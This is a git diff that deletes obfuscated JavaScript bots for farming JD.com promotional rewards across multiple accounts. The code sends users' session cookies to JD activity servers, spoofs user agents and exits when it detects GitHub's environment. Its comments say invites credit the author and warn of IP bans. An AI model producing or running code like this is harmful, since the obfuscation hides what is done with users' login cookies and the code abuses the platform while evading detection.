res,_0x401cc0[_0x5a05('36b')])&&res[_0x5a05('87')]){if(_0x401cc0[_0x5a05('36d')](_0x401cc0[_0x5a05('371')],_0x401cc0[_0x5a05('371')])){console[_0x5a05('7')](_0x401cc0[_0x5a05('367')]);$[_0x5a05('13')]=!![];}else{console[_0x5a05('7')](_0x5a05('372')+(res[_0x5a05('87')]||''));}}else{if(_0x401cc0[_0x5a05('373')](_0x401cc0[_0x5a05('374')],_0x401cc0[_0x5a05('374')])){console[_0x5a05('7')](_0x189d1b);}else{return JSON[_0x5a05('136')](str);}}}}catch(_0x36d6bf){if(_0x401cc0[_0x5a05('375')](_0x401cc0[_0x5a05('376')],_0x401cc0[_0x5a05('376')])){_0x583292[_0x5a05('377')](_0x415a2c);}else{$[_0x5a05('3f')](_0x36d6bf,_0x202ccb);}}finally{_0x401cc0[_0x5a05('35f')](_0x415a2c);}}});});}function getToken(){var _0x46a0fa={'itasH':function(_0x3cf7f0,_0x18ce4a){return _0x3cf7f0==_0x18ce4a;},'qBwyJ':_0x5a05('44'),'nWlCf':function(_0x4bd7a2,_0x54dc1b){return _0x4bd7a2!=_0x54dc1b;},'YJPxF':_0x5a05('45'),'zgOnE':function(_0x3c8376,_0x33e658){return _0x3c8376==_0x33e658;},'UxbYQ':function(_0x3bcfbb,_0x4d2909){return _0x3bcfbb!==_0x4d2909;},'gpWue':_0x5a05('378'),'xiQqh':_0x5a05('379'),'IHoUC':_0x5a05('37a'),'UpWfg':function(_0x5b0ad3){return _0x5b0ad3();},'zdkae':_0x5a05('29e'),'KZUoV':_0x5a05('37b'),'wNwhR':_0x5a05('1b1'),'kqwQJ':_0x5a05('1af')};return new Promise(_0x562acc=>{var _0x2e6e15={'JLmmU':_0x46a0fa[_0x5a05('37c')]};$[_0x5a05('e9')]({'url':_0x5a05('37d'),'body':_0x46a0fa[_0x5a05('37e')],'headers':{'Content-Type':_0x46a0fa[_0x5a05('37f')],'Cookie':cookie,'Host':_0x46a0fa[_0x5a05('380')],'User-Agent':_0x5a05('381')}},async(_0x4805b1,_0x284257,_0x4bf4b4)=>{try{if(_0x4805b1){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x4805b1));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('382'));}else{let _0x1d062c=$[_0x5a05('7e')](_0x4bf4b4);if(_0x46a0fa[_0x5a05('383')](typeof _0x1d062c,_0x46a0fa[_0x5a05('384')])&&_0x46a0fa[_0x5a05('383')](_0x1d062c[_0x5a05('193')],0x0)){if(_0x46a0fa[_0x5a05('385')](typeof _0x1d062c[_0x5a05('195')],_0x46a0fa[_0x5a05('386')]))$[_0x5a05('61')]=_0x1d062c[_0x5a05('195')];}else if(_0x46a0fa[_0x5a05('387')](typeof _0x1d062c,_0x46a0fa[_0x5a05('384')])&&_0x1d062c[_0x5a05('198')]){if(_0x46a0fa[_0x5a05('388')](_0x46a0fa[_0x5a05('389')],_0x46a0fa[_0x5a05('389')])){console[_0x5a05('7')](e);$[_0x5a05('20')]($[_0x5a05('21')],'',_0x2e6e15[_0x5a05('38a')]);return[];}else{console[_0x5a05('7')](_0x5a05('199')+(_0x1d062c[_0x5a05('198')]||''));}}else{console[_0x5a05('7')](_0x4bf4b4);}}}catch(_0x50b5c9){if(_0x46a0fa[_0x5a05('388')](_0x46a0fa[_0x5a05('38b')],_0x46a0fa[_0x5a05('38c')])){$[_0x5a05('3f')](_0x50b5c9,_0x284257);}else{console[_0x5a05('7')](_0x5a05('27b')+(res[_0x5a05('87')]||''));}}finally{_0x46a0fa[_0x5a05('38d')](_0x562acc);}});});}function getCk(){var _0x35862b={'tMOpw':function(_0x16cc7e){return _0x16cc7e();},'iXkic':function(_0x1e89f4,_0xb37dee){return _0x1e89f4==_0xb37dee;},'qNzLd':_0x5a05('4b'),'pZxPZ':function(_0x30040e,_0x2ec28e){return _0x30040e!==_0x2ec28e;},'KKioK':_0x5a05('44'),'SEIfm':function(_0x2e3b2e,_0x545270){return _0x2e3b2e===_0x545270;},'uAjBa':_0x5a05('38e'),'Efnat':_0x5a05('38f'),'Kroqj':_0x5a05('390'),'VzsGh':_0x5a05('391'),'YYTVT':function(_0x1ff06b,_0x225985){return _0x1ff06b!==_0x225985;},'jSLNh':_0x5a05('392'),'xWWwT':_0x5a05('393'),'BXuaD':_0x5a05('29f'),'gTNcR':_0x5a05('2a0'),'rIMhP':_0x5a05('2a1'),'NrIMG':_0x5a05('394'),'toRLZ':function(_0x4b6e7e,_0x301336){return _0x4b6e7e!=_0x301336;},'UEKBB':function(_0x5f0bf0,_0x26ef36){return _0x5f0bf0>_0x26ef36;},'OsuCa':_0x5a05('42'),'laArK':function(_0x317ef0,_0x24c5e4){return _0x317ef0+_0x24c5e4;},'cOrPI':_0x5a05('43'),'oEAQS':function(_0x483399,_0x230a56){return _0x483399&&_0x230a56;},'gIyoq':_0x5a05('395'),'LuskQ':_0x5a05('396')};return new Promise(_0x16649c=>{var _0x2f3107={'FkNCU':function(_0x445cb2){return _0x35862b[_0x5a05('397')](_0x445cb2);},'eauMW':function(_0x139a03,_0xd6a949){return _0x35862b[_0x5a05('398')](_0x139a03,_0xd6a949);},'eYTpI':_0x35862b[_0x5a05('399')],'ZnYNr':function(_0x4d5c63,_0x2c69c3){return _0x35862b[_0x5a05('39a')](_0x4d5c63,_0x2c69c3);},'vfhUw':_0x35862b[_0x5a05('39b')],'TwJAO':function(_0x16dcac,_0x5968e6){return _0x35862b[_0x5a05('39c')](_0x16dcac,_0x5968e6);},'wwxLU':_0x35862b[_0x5a05('39d')],'jwasZ':_0x35862b[_0x5a05('39e')],'OUqjL':_0x35862b[_0x5a05('39f')],'CPTMf':_0x35862b[_0x5a05('3a0')],'iYFJm':function(_0x3a6be5,_0x3aab8c){return _0x35862b[_0x5a05('398')](_0x3a6be5,_0x3aab8c);},'axYDc':function(_0x4fa67f,_0x56423d){return _0x35862b[_0x5a05('3a1')](_0x4fa67f,_0x56423d);},'TiTvT':_0x35862b[_0x5a05('3a2')],'mVhBb':_0x35862b[_0x5a05('3a3')],'KNbdt':_0x35862b[_0x5a05('3a4')],'xCtie':_0x35862b[_0x5a05('3a5')],'OBFoL':_0x35862b[_0x5a05('3a6')],'KhElC':_0x35862b[_0x5a05('3a7')],'epIjq':function(_0x1a2470,_0x2a866a){return _0x35862b[_0x5a05('3a8')](_0x1a2470,_0x2a866a);},'EGGDz':function(_0x502620,_0x3586f0){return _0x35862b[_0x5a05('3a9')](_0x502620,_0x3586f0);},'qrGrJ':_0x35862b[_0x5a05('3aa')],'yJDQT':function(_0x1f921c,_0x2e3af3){return _0x35862b[_0x5a05('3ab')](_0x1f921c,_0x2e3af3);},'iIwhf':function(_0x5b5b6f,_0x22633d){return _0x35862b[_0x5a05('3a9')](_0x5b5b6f,_0x22633d);},'uEJDG':_0x35862b[_0x5a05('3ac')],'LrNnK':function(_0x2c8e24,_0x484ca9){return _0x35862b[_0x5a05('3ad')](_0x2c8e24,_0x484ca9);},'tJsFp':_0x35862b[_0x5a05('3ae')],'HsUOi':_0x35862b[_0x5a05('3af')]};let _0x2d2154={'url':_0x5a05('2b1')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')],'followRedirect':![],'headers':{'User-Agent':$['UA']}};$[_0x5a05('1a7')](_0x2d2154,async(_0x308346,_0x16fc00,_0x5c27b5)=>{if(_0x2f3107[_0x5a05('3b0')](_0x2f3107[_0x5a05('3b1')],_0x2f3107[_0x5a05('3b2')])){console[_0x5a05('7')](_0x5a05('33b')+(res[_0x5a05('87')]||''));}else{try{if(_0x308346){if(_0x2f3107[_0x5a05('3b3')](_0x2f3107[_0x5a05('3b4')],_0x2f3107[_0x5a05('3b5')])){if(_0x16fc00[_0x5a05('15a')]&&_0x2f3107[_0x5a05('3b6')](_0x16fc00[_0x5a05('15a')],0x1ed)){console[_0x5a05('7')](_0x2f3107[_0x5a05('3b7')]);$[_0x5a05('13')]=!![];}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x308346));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('3b8'));}else{_0x2f3107[_0x5a05('3b9')](_0x16649c);}}else{if(_0x2f3107[_0x5a05('3ba')](_0x2f3107[_0x5a05('3bb')],_0x2f3107[_0x5a05('3bc')])){let _0x48c5c9='';let _0x2dcc20='';let _0x1973ae=_0x16fc00[_0x2f3107[_0x5a05('3bd')]][_0x2f3107[_0x5a05('3be')]]||_0x16fc00[_0x2f3107[_0x5a05('3bd')]][_0x2f3107[_0x5a05('3bf')]]||'';let _0xd95f48='';if(_0x1973ae){if(_0x2f3107[_0x5a05('3b0')](_0x2f3107[_0x5a05('3c0')],_0x2f3107[_0x5a05('3c0')])){if(_0x2f3107[_0x5a05('3c1')](typeof _0x1973ae,_0x2f3107[_0x5a05('3c2')])){_0xd95f48=_0x1973ae[_0x5a05('68')](',');}else _0xd95f48=_0x1973ae;for(let _0x35866f of _0xd95f48){let _0x201119=_0x35866f[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x201119[_0x5a05('68')]('=')[0x1]){if(_0x2f3107[_0x5a05('3c3')](_0x201119[_0x5a05('6b')](_0x2f3107[_0x5a05('3c4')]),-0x1))_0x48c5c9=_0x2f3107[_0x5a05('3c5')](_0x201119[_0x5a05('6e')](/ /g,''),';');if(_0x2f3107[_0x5a05('3c6')](_0x201119[_0x5a05('6b')](_0x2f3107[_0x5a05('3c7')]),-0x1))_0x2dcc20=_0x2f3107[_0x5a05('3c5')](_0x201119[_0x5a05('6e')](/ /g,''),';');}}}else{if(_0x16fc00[_0x5a05('15a')]&&_0x2f3107[_0x5a05('3c8')](_0x16fc00[_0x5a05('15a')],0x1ed)){console[_0x5a05('7')](_0x2f3107[_0x5a05('3b7')]);$[_0x5a05('13')]=!![];}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x308346));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('31b'));}}if(_0x2f3107[_0x5a05('3c9')](_0x48c5c9,_0x2dcc20))activityCookie=_0x48c5c9+'\x20'+_0x2dcc20;}else{console[_0x5a05('7')](_0x5a05('208')+(res[_0x5a05('87')]||''));}}}catch(_0x59680d){$[_0x5a05('3f')](_0x59680d,_0x16fc00);}finally{if(_0x2f3107[_0x5a05('3b0')](_0x2f3107[_0x5a05('3ca')],_0x2f3107[_0x5a05('3cb')])){if(_0x308346){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x308346));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{res=$[_0x5a05('7e')](_0x5c27b5);if(_0x2f3107[_0x5a05('3b3')](typeof res,_0x2f3107[_0x5a05('3c2')])){console[_0x5a05('7')](_0x5c27b5);}}}else{_0x2f3107[_0x5a05('3b9')](_0x16649c);}}}});});}function taskPostUrl(_0xacc2c0,_0x278173){var _0x61f277={'KhDyu':_0x5a05('3cc'),'iUZNl':_0x5a05('3cd'),'DzWEA':_0x5a05('3ce'),'iOgOR':_0x5a05('3cf'),'lFgXE':_0x5a05('1b1'),'UoPyu':function(_0x5c4b19,_0x21a7ea){return _0x5c4b19+_0x21a7ea;},'mDuMj':function(_0x576c16,_0x40c899){return _0x576c16+_0x40c899;},'guUNv':_0x5a05('3d0'),'MkxnF':_0x5a05('3d1'),'xuAIk':_0x5a05('3d2'),'snlsl':_0x5a05('3d3')};return{'url':_0x5a05('3d2')+_0xacc2c0,'body':_0x278173,'headers':{'Accept':_0x61f277[_0x5a05('3d4')],'Accept-Language':_0x61f277[_0x5a05('3d5')],'Accept-Encoding':_0x61f277[_0x5a05('3d6')],'Connection':_0x61f277[_0x5a05('3d7')],'Content-Type':_0x61f277[_0x5a05('3d8')],'Cookie':''+activityCookie+($[_0x5a05('62')]&&_0x61f277[_0x5a05('3d9')](_0x61f277[_0x5a05('3da')](_0x61f277[_0x5a05('3db')],$[_0x5a05('62')]),';')||'')+lz_jdpin_token,'Host':_0x61f277[_0x5a05('3dc')],'Origin':_0x61f277[_0x5a05('3dd')],'X-Requested-With':_0x61f277[_0x5a05('3de')],'Referer':_0x5a05('2b1')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')],'User-Agent':$['UA']}};}function getUA(){var _0x22d464={'hjtVm':function(_0x4c8b9c,_0x44f7a7){return _0x4c8b9c(_0x44f7a7);},'DXlXr':function(_0x1978a4,_0x283d2f){return _0x1978a4==_0x283d2f;},'yIBJM':_0x5a05('d4'),'kGGfm':_0x5a05('d5'),'BrCoC':_0x5a05('d6'),'uvgCt':function(_0x2674c0,_0x304357){return _0x2674c0*_0x304357;},'ExHIo':function(_0x3017c4,_0x464567){return _0x3017c4==_0x464567;}};$['UA']=_0x5a05('3df')+_0x22d464[_0x5a05('3e0')](randomString,0x28)+_0x5a05('3e1');if(_0x22d464[_0x5a05('3e2')]($[_0x5a05('36')],0x1)){let _0x307aa2=[$[_0x5a05('2b')],_0x22d464[_0x5a05('3e3')],_0x22d464[_0x5a05('3e4')],_0x22d464[_0x5a05('3e5')]];let _0x333174=Math[_0x5a05('107')](_0x22d464[_0x5a05('3e6')](Math[_0x5a05('9a')](),0xa));let _0x8bfb4e=0x0;if(_0x22d464[_0x5a05('3e2')](_0x333174,0x1))_0x8bfb4e=0x1;if(_0x22d464[_0x5a05('3e2')](_0x333174,0x2))_0x8bfb4e=0x2;if(_0x22d464[_0x5a05('3e7')](_0x333174,0x3))_0x8bfb4e=0x3;$[_0x5a05('2b')]=_0x307aa2[_0x8bfb4e]?_0x307aa2[_0x8bfb4e]:$[_0x5a05('2b')];}}function randomString(_0x4d5ae9){var _0x3df35f={'KnQNp':function(_0x1cea72,_0x35b797){return _0x1cea72||_0x35b797;},'XByxy':_0x5a05('241'),'XqDQC':function(_0x33eaf4,_0x829e80){return _0x33eaf4<_0x829e80;},'rBxxt':function(_0x53f5e1,_0x178157){return _0x53f5e1*_0x178157;}};_0x4d5ae9=_0x3df35f[_0x5a05('3e8')](_0x4d5ae9,0x20);let _0x5e0bc6=_0x3df35f[_0x5a05('3e9')],_0x3592ac=_0x5e0bc6[_0x5a05('32')],_0x44a874='';for(i=0x0;_0x3df35f[_0x5a05('3ea')](i,_0x4d5ae9);i++)_0x44a874+=_0x5e0bc6[_0x5a05('25f')](Math[_0x5a05('107')](_0x3df35f[_0x5a05('3eb')](Math[_0x5a05('9a')](),_0x3592ac)));return _0x44a874;}function jsonParse(_0x55e06f){var _0x565c35={'XGeJz':function(_0x4b484a,_0xf83456){return _0x4b484a==_0xf83456;},'JcgTP':_0x5a05('29d'),'frPUK':function(_0x4d9ba9,_0xc0dbe1){return _0x4d9ba9!==_0xc0dbe1;},'QzSyO':_0x5a05('3ec'),'PgyVB':_0x5a05('3ed'),'VIgCZ':_0x5a05('29e')};if(_0x565c35[_0x5a05('3ee')](typeof _0x55e06f,_0x565c35[_0x5a05('3ef')])){try{if(_0x565c35[_0x5a05('3f0')](_0x565c35[_0x5a05('3f1')],_0x565c35[_0x5a05('3f2')])){return JSON[_0x5a05('136')](_0x55e06f);}else{console[_0x5a05('7')](e);}}catch(_0x297144){console[_0x5a05('7')](_0x297144);$[_0x5a05('20')]($[_0x5a05('21')],'',_0x565c35[_0x5a05('3f3')]);return[];}}};_0xodI='jsjiami.com.v6'; - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard28.js b/backUp/gua_opencard28.js deleted file mode 100644 index 8ff2447..0000000 --- a/backUp/gua_opencard28.js +++ /dev/null @@ -1,55 +0,0 @@ -/* -9.11~9.13 母婴有机日 好物超值购 [gua_opencard28.js] -新增开卡脚本 (脚本已加密 -一次性脚本 - -邀请一人20豆 被邀请也有10豆(有可能没有豆 -开1组卡 抽奖可能获得20京豆(有可能有抽到空气💨 -关注10京豆 (有可能是空气💨 -加购10京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku28]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -邀请上限5人 -ck1满5人自动换ck2... - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard28="true" - -All变量适用 -———————————————— -入口:[ 9.11~9.13 母婴有机日 好物超值购 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=e7fe51d43cd845cd85f8be756192c74c&shareUuid=d9a73da5bfb2476f917b004fc0ce833c)] - -请求太频繁会被黑ip -过10分钟再执行 - -============Quantumultx=============== -[task_local] -#9.11~9.13 母婴有机日 好物超值购 -47 1,20 11-13 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard28.js, tag=9.11~9.13 母婴有机日 好物超值购, enabled=true - -================Loon============== -[Script] -cron "47 1,20 11-13 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard28.js,tag=9.11~9.13 母婴有机日 好物超值购 - -===============Surge================= -9.11~9.13 母婴有机日 好物超值购 = type=cron,cronexp="47 1,20 11-13 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard28.js - -============小火箭========= -9.11~9.13 母婴有机日 好物超值购 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard28.js, cronexpr="47 1,20 11-13 9 *", timeout=3600, enable=true -*/ -let guaopencard_addSku = "false" -let guaopencard = "false" - -const $ = new Env('9.11~9.13 母婴有机日 好物超值购'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; - -var _0xodz='jsjiami.com.v6',_0xea84=[_0xodz,'RURXVEE=','QlJSbnI=','RG1KVHE=','VXJXTkU=','VE5EdXc=','V29IZnQ=','eHJaelo=','UmVKbmE=','bmlRUGg=','YW5IT1M=','bmxRRVk=','UGFyQ1Y=','eWhicUk=','Q3lFSkU=','ekdJREw=','bUhRc2s=','aENyc3o=','UFJWbXc=','SHBtYlI=','Tk9RSnM=','bVZ0UVM=','eXJlcno=','ak1nU1U=','V0F2ZU8=','bHl2c0Y=','YlF4dXg=','R0R4Qmo=','clBjRnk=','WnlnbUw=','bmN4SWo=','dG9Zd1k=','UFFtTmw=','R0JaRGM=','RXN2cFo=','QlB6ZXA=','S3FXREw=','UkFFS1Y=','WU5CVEc=','YlJlZlU=','clNzUGo=','WU9KcHM=','ZW5YYUQ=','TmlKc3U=','ZFFVeWY=','a3lkRVo=','ZmhRaEo=','VlB1QkQ=','VUF6S3I=','T294Zkw=','VFVHdWk=','VkVCZHM=','IGdldFNpbXBsZUFjdEluZm9WbyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','RVdIREU=','Y25udEo=','anNCS2Q=','RGFpZk0=','b1JzaVM=','V3d0Rmk=','Z2V0U2ltcGxlQWN0SW5mb1ZvIA==','TlVRSEI=','RUpRd0s=','T3R6ZFM=','RkRjZXQ=','Q3ZzSEM=','YWFyZWE9MTZfMTMxNV8xMzE2XzUzNTIyJmJvZHk9JTdCJTIydXJsJTIyJTNBJTIyaHR0cHMlM0ElNUMvJTVDL2x6ZHoxLWlzdi5pc3ZqY2xvdWQuY29tJTIyJTJDJTIyaWQlMjIlM0ElMjIlMjIlN0QmYnVpbGQ9MTY3ODE0JmNsaWVudD1hcHBsZSZjbGllbnRWZXJzaW9uPTEwLjEuNCZkX2JyYW5kPWFwcGxlJmRfbW9kZWw9aVBob25lOCUyQzEmZWlkPWVpZElkMTBiODEyMTkxc2VCQ0ZHbXRiZVRYMnZYRjNsYmdEQVZ3UWhTQTh3S3FqNk9BOUo0Zm9QUW0zVXpSd3JyTGRPMjNCM0Uyd0NVWS9iT0RIMDFWbnhpRW5BVXZvTTZTaUVubVAzSVBxUnVPJTJCeS8lMkJabyZpc0JhY2tncm91bmQ9TiZqb3ljaW91cz02MyZsYW5nPXpoX0NOJm5ldHdvcmtUeXBlPXdpZmkmbmV0d29ya2xpYnR5cGU9SkROZXR3b3JrQmFzZUFGJm9wZW51ZGlkPTJmNzU3OGNiNjM0MDY1ZjliZWFlOTRkMDEzZjE3MmUxOTdkNjIyODMmb3NWZXJzaW9uPTEzLjEuMiZwYXJ0bmVyPWFwcGxlJnJmcz0wMDAwJnNjb3BlPTAxJnNjcmVlbj03NTAlMkExMzM0JnNpZ249NmU1Y2NlMTUyNTY4MzdjYzRjNDIxODZmNjVjMDFmYmUmc3Q9MTYzMTMyNzE3ODE3OCZzdj0xMTAmdWVtcHM9MC0wJnV0cz0wZjMxVFZSakJTc3FuZHU0L2pnVVB6NnV5bXk1ME1RSkVrby9NdWtONVc4dUI5MVJmZnhIbzljcnZpUjdOdzlqUGFVYzZrMFFzVXZ1R1FqL0MzZ0U4Q2d0OGhTdXdTd0FVU3I1YVclMkI4V1FTeGlJNzl4VXQ1aHRFY1oxMW5ZUDNmVUZiTEc0QnpQc1NpNUo5Uk5JWVlJcjk2V2dzOFc5TENmakpIUjEza1pKTG5TWU1nelZqT0pDVDlRYTlxYy9LVkIvWlZkJTJCRGk5OUVxVzZEMm8xN2pVZyUzRCUzRCZ1dWlkPWhqdWR3Z29oeHpWdTk2a3J2L1Q2SGclM0QlM0Qmd2lmaUJzc2lkPTc5NjYwNmU4ZTE4MWFhNTg2NWVjMjA3MjhhMjcyMzhi','VWVHUlI=','eGdvekU=','QlJNUHE=','bGNZWUE=','ZUlxV2I=','ZktJaUo=','UnhmTGY=','VWR0